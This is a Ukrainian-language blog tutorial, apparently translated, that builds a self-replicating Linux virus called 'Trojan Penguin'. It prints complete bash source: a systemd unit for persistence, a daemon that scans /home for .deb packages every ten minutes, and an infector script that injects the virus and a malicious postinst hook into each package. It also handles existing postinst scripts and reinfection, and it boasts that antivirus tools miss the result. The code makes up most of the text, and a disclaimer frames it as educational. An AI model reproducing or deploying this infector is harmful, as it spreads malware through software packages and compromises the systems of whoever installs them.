Троянський пінгвін: Робимо вірус для Linux
Ні, я не збираюся розповідати, як написати свого шифровальщика-здирника, майнера або експлуатувати супер-нову уразливість, як ви могли подумати. І тим більше я не горю бажанням піднімати холівар «Linux безпечніше Windows?()». Моєю метою було написання простого вірусу для linux, нікого, так би мовити, «Just for Fun», єдиною функцією якого є поширення своєї копії. Про те, що у мене вийшло, я розповім в цій статті. В кінці я наведу посилання на GitHub з вихідними кодами.
Дисклеймер
Дана стаття написана в ознайомлювальних цілях. Автор ні в якому разі не закликає читачів до порушення законодавства України.
І що ми, власне, будемо робити?
Самим простим у реалізації механізмом поширення вірусу для мене здалося поширення через модифіковані deb/rpm пакети. Пакети формату deb та rpm зараз є найбільш популярним засобом поширення пз для Linux. Я зупинив свій вибір на форматі deb, так як кількість користувачів Debian-based дистрибутивів переважає над користувачами Red Hat і її «послідовників».
Ще необхідно, щоб вірус автоматично запускався, і через кожний певний період часу сканував комп’ютер у пошуках deb-пакетів. Для зручності відладки я вибрав період дорівнює 10 хвилинам.
Що таке deb-пакет?
Deb-пакет являє з себе архів формату .ar, який не використовує стиснення. Всередині архіву ще три файлу: debian-bynary, control.tar і data.tar
debian.binary — текстовий файл, що містить версію формату deb-пакет, на даний момент там завжди пишуть «2.0».
control.tar — архів з файлами, що містять інформацію про пакет (наприклад — обов’язковий файл control) і пакети, необхідні для установки пакета (наприклад — скрипти preinst, postinst, prerm і postrm, що запускаються до/після установки/видалення пакета). Може бути стиснутий за допомогою gzip або xz, в такому випадку до імені архіву додається розширення .gz або .xz відповідно.
data.tar — архів з директоріями, що містять встановлюються файли. Директорії представлені деревом, у вигляді якого вони повинні извлечься в корінь файлової системи. Може бути стиснутий за допомогою gzip, bzip2, lzma, xz.
Нам необхідно звернути увагу на файл control з архіву control.tar. Цей файл містить інформацію про пакет, таку як автор, опис, версію пріоритет пакету в системі і т. д. Мене цікавить поле depends, в якому вказані залежності (пакети, без яких із даного пакета не може працювати). В це поле наш вірус буде дописувати fakeroot і dpkg — утиліти, які знадобляться при модифікації інших пакетів на зараженому комп’ютері.
Для складання deb-пакет створюється коренева директорія пакета. У неї кладуть директорії з встановлюваними файлами і директорія DEBIAN, що містить службові файли, серед яких control і скрипти для установки/видалення. Потім виконується команда fakeroot dpkg-deb –build ./path.
Спочатку був демон
На момент написання вірусу я ще погано уявляв, що таке Cron, і тому пішов шляхом написання власного демона для systemd. Я створив файл trojan_penguin.service, який буде поміщатися в директорію /lib/systemd/system, і додав до неї наступне:
[Unit]
Description = XXX
[Service]
ExecStart=/usr/bin/trojan_penguin.sh
Type=fork
[Install]
WantedBy=multi-user.target
ExecStart=/usr/bin/trojan_penguin.sh — тут я вказав шлях до файлу (до майбутнього вірусу), який має запускатися при старті системи.
Type=fork — це рядок показує, що процес повинен ответвиться від батьківського процесу.
Я не бачив необхідності в PID-файл, по цьому я не став його додавати.
В мануалах за написання свого демона фали .service пропонується розміщувати в директорії /usr/lib/systemd/system/ або /etc/systemd/system/. Але я у своїй убунте знайшов папку /lib/systemd/system. (у мене туди потрапив apache2.service). Може бути хто-небудь напише в коментарях, для чого потрібна ця директорія, і чим вона відрізняється від двох інших.
Файл /usr/bin/trojan_penguin.sh у мене вийшов таким:
#!/bin/bash
#debug=".../Programming/projects/TrojanPenguin"
debug=""
#створюємо папку для запису логів, якщо такої немає
if ! [ -d $debug/var/log/trojan_penguin/ ]; then
mkdir $debug/var/log/trojan_penguin
fi
#працюємо в нескінченному циклі,
#роблячи паузи за 10 хвилин
while [ 1 ]
do
list=$(find /home -name "*.deb") #шукаємо deb-пакети
# для кожного знайденого пакету виконуємо наступний цикл
for line in $list
do
$debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log #запускаємо цикл, модифікуючих пакет, а логи записуємо в файл log
done
date > $debug/var/log/trojan_penguin/last_start #записуємо час останньої відпрацювання вірусу (мені це допомогло під час налагодження)
sleep 600 #пауза (60 * 10 сек = 10 хв)
done
Ми шукаємо deb-пакети в розділ /home (а де їх шукати?), шляхи до знайдених файлів записуємо в змінну list. Потім просто перебираємо всі рядки з line і для кожного файлу запускаємо скрипт tp_infect.sh, який заразить цей файл. Коли я писав вірус, скрипти знаходилися в окремій директорії, і для зручності я створив змінну debug, в якій я прописав шлях до цієї папки.
Демон готовий, залишилося навчитися його запускати при старті системи. Для цього я написав скрипт postinstall. Він буде запускатися відразу після установки зараженого пакету і вказувати, щоб наш вірус запускався разом з системою. Розмістив я його в директорії/usr/bin/”, щоб від туди копіювати його в заражаемые пакети.
#!/bin/bash
#debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin"
debug=""
systemctl daemon-reload #не знаю чому, але без цієї команди демон у мене іноді відмовлявся працювати
systemctl enable trojan_penguin.service #включаємо автозапуск разом з системою
systemctl start trojan_penguin.service #запускаємо демон
Модифікуємо deb-пакет
Як я писав вище, архіви, що містяться в deb-пакет, можуть мати різні дозволи. Я не став морочитися, і розглянув лише той випадок, коли архіви стиснуті з допомогою .xz. Файл /usr/bin/tp_infect.sh, що відповідає за модифікацію, отримав такий вміст:
#!/bin/bash
#debug=".../Programming/projects/TrojanPenguin"
debug=""
temp="$debug/tmp/trojan_penguin"
#створюємо тимчасові папки
mkdir $temp
mkdir $temp/new
mkdir $temp/new/DEBIAN
#распакуем пакет
ar -p $1 data.tar.xz | tar -xJ -C $temp/new
ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/
#відредагуємо control
#в новий control копіюємо всі поля до "Deepends", потім копіюємо в полі "Deepends", дописуючи наші залежності, після чого додаємо решту поля.
cp $temp/new/DEBIAN/control $temp/orig_control
cat $temp/orig_control | grep --before-context=100 Depends | grep -v Depends > $temp/new/DEBIAN/control
cat $temp/orig_control | grep Depends | tr -d 'rn' >> $temp/new/DEBIAN/control
echo ", fakeroot, python" >> $temp/new/DEBIAN/control
cat $temp/orig_control | grep --after-context=100 Depends | grep -v Depends >> $temp/new/DEBIAN/control
#згодувати пакету наш постинстал
cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst
#добудуємо дерево з потрібними нам директоріями, якщо таких немає
if ! [ -d $temp/new/usr ];
then
mkdir $temp/new/usr
fi
if ! [ -d $temp/new/usr/bin ];
then
mkdir $temp/new/usr/bin
fi
if ! [ -d $temp/new/lib ];
then
mkdir $temp/new/lib
fi
if ! [ -d $temp/new/lib/systemd ];
then
mkdir $temp/new/lib/systemd
fi
if ! [ -d $temp/new/lib/systemd/system ];
then
mkdir $temp/new/lib/systemd/system
fi
#копіюємо наші файли
cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh
cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh
cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh
cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/
#Збираємо пакет, переміщаємо його на місце старого і видаляємо папку, в якій ми працювали.
fakeroot dpkg-deb --build $temp/new
cp $temp/new.deb $1
rm -R $temp
Проблеми з postinstall
Все б добре, але тепер у нас проблема. А що якщо в пакеті вже є postinstal? Оригінальний postinstal може бути написаний на різних мовах (python, bash…), може це навіть бінарники. Це не дозволять нам просто взяти і дописати свій postinstall в нього. Я вирішив цю проблему наступним чином:
Додав скрипт tp_infect.sh таку річ:
#Перевіряємо, чи є в пакеті postinstal. Якщо так, то копіюємо його в інше місце.
if [ -f $temp/new/usr/bin/postinst ];
then
cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst
fi
А в postinstal ось це:
#виконуємо оригінальний постинстал і видаляємо його
if [ -f $debug/usr/bin/tp_orig_postinst ]; then
$debug/usr/bin/tp_orig_postinst
rm $debug/usr/bin/tp_orig_postinst
fi
Одну проблему я вирішив, але з’явилася інша. Наш вірус буде модифікувати пакет, навіть якщо він вже заражений. При модифікації вірус побачить, що в пакеті є postinstal (який насправді наш), перемістить його в /usr/bin/, тим самим перезаписавши оригінал. Щоб цього уникнути, я додав перевірку «tp_infect.sh», ми модифікували цей файл:
if [ -f $temp/new/usr/bin/trojan_penguin.sh ];
then
rm -R $temp
exit 0
fi
Збираємо під одно
Вірус готовий. Ось посилання на GitHub, як і обіцяв. Цей вірус можна зібрати в окремий deb-пакет (запустіть makedeb.sh) з репозиторію. Щоб впровадити вірус в який-небудь пакет, достатньо виконати команду:
tp_infect.sh /шлях заражаемому deb-пакет/
В репозиторії є дві копії скрипта postinst
DEBIAN/postinst — ця копія виконується тільки при установці порожнього пакету з вірусом. Я його закомментировал, щоб вірус не запускався після установки, а модивиццировал пакети тільки по команді.
usr/bin/postinst — це копія вставляється в заражаемые пакети.
Підсумок
А висновок очевидний і без цієї статті: не варто завантажувати та запускати програми з неперевірених джерел.
Заради цікавості, я відправив deb-пакет з вірусом на VirusTotal для аналізу. На момент написання статті жоден антивірус не задетектировал його. Ось посилання на звіт. Цікаво, скільки повинно пройти часу, і скільки хостів потрібно заразити цим вірусом, щоб антивіруси звернули на нього увагу?